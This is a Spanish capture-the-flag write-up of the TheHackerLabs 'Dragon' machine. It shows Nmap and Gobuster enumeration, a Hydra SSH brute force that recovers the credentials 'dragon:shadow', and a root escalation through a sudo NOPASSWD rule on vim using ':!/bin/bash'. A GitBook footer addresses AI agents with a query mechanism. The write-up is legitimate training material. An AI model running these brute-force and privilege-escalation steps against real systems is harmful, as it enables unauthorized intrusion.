> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/dragon.md).

# Dragon

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux a partir de una pista expuesta en la web. La cadena es directa: enumeracion HTTP, descubrimiento de un directorio oculto, fuerza bruta controlada contra SSH y escalada final mediante una regla insegura de `sudo` sobre `vim`.

El objetivo es obtener acceso como el usuario `dragon` y aprovechar que puede ejecutar `/usr/bin/vim` como `root` sin password.

***

## Identificacion de la maquina

La maquina muestra en el arranque el nombre y la IP objetivo:

<div align="center"><img src="/files/dEeb0MYKXJRJdBmI8Pbo" alt="Datos de la maquina Dragon"></div>

```
Nombre: Dragon
IP: 192.168.1.118
```

***

## Escaneo y enumeracion

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- --min-rate 5000 192.168.1.118
```

<div align="center"><img src="/files/PuwAUiYaSCfcE6s177LJ" alt="Escaneo Nmap"></div>

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

En el puerto `80` aparece una pagina tematica de la maquina:

<div align="center"><img src="/files/ofkLzWkM510UbRRSJNry" alt="Pagina principal Dragon"></div>

La pagina deja una pista:

```
Algunos caminos no estan a simple vista...
```

***

## Enumeracion web

Se lanza Gobuster para descubrir rutas:

```bash
gobuster dir -u http://192.168.1.118/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

<div align="center"><img src="/files/LCDrBd15reXORwj8HwqM" alt="Gobuster contra HTTP"></div>

Recursos interesantes:

| Ruta          | Codigo | Comentario            |
| ------------- | ------ | --------------------- |
| `/index.html` | 200    | Pagina principal      |
| `/secret`     | 301    | Redirige a `/secret/` |

Al acceder a `/secret/` aparece una pista para el usuario `dragon`:

<div align="center"><img src="/files/9oSZ5UMWgLtN5mRPKYvO" alt="Pista en secret"></div>

La pista sugiere que el nombre del usuario es la clave para continuar:

```
Para Dragon
```

***

## Fuerza bruta SSH

Con el usuario `dragon` identificado, se prueba fuerza bruta sobre SSH con `rockyou.txt`:

```bash
hydra -l dragon -P /usr/share/wordlists/rockyou.txt 192.168.1.118 ssh -I -t 64
```

<div align="center"><img src="/files/lkPNH4qQ9h1KotSNEHyX" alt="Hydra contra SSH"></div>

Hydra encuentra credenciales validas:

```
dragon:shadow
```

***

## Acceso SSH

Se accede por SSH como `dragon`:

```bash
ssh dragon@192.168.1.118
```

<div align="center"><img src="/files/9C5cqb2n2c4gOY5FkyOd" alt="Acceso SSH como dragon"></div>

Una vez dentro, se revisan privilegios con `sudo -l`:

```bash
sudo -l
```

<div align="center"><img src="/files/tH6kSSQMQtTOmPYRuXQH" alt="sudo -l como dragon"></div>

El usuario puede ejecutar `vim` como cualquier usuario sin password:

```
(ALL) NOPASSWD: /usr/bin/vim
```

***

## Escalada a root

Se ejecuta `vim` con `sudo`:

```bash
sudo /usr/bin/vim
```

Dentro de `vim`, se lanza una shell:

```vim
:!/bin/bash
```

<div align="center"><img src="/files/KcNFVWJzbErJD46bX6CW" alt="Shell root desde vim"></div>

Al comprobar el usuario actual:

```bash
whoami
```

El resultado confirma la escalada:

```
root
```

***

## Resumen

La ruta completa queda asi:

1. Identificacion de la IP de la maquina.
2. Escaneo con Nmap para detectar SSH y Apache.
3. Revision de la pagina principal.
4. Enumeracion web con Gobuster.
5. Descubrimiento del directorio `/secret/`.
6. Obtencion del usuario `dragon`.
7. Fuerza bruta SSH con Hydra.
8. Acceso SSH con `dragon:shadow`.
9. Enumeracion de privilegios con `sudo -l`.
10. Abuso de `sudo /usr/bin/vim`.
11. Ejecucion de `:!/bin/bash` desde Vim.
12. Shell final como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/dragon.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
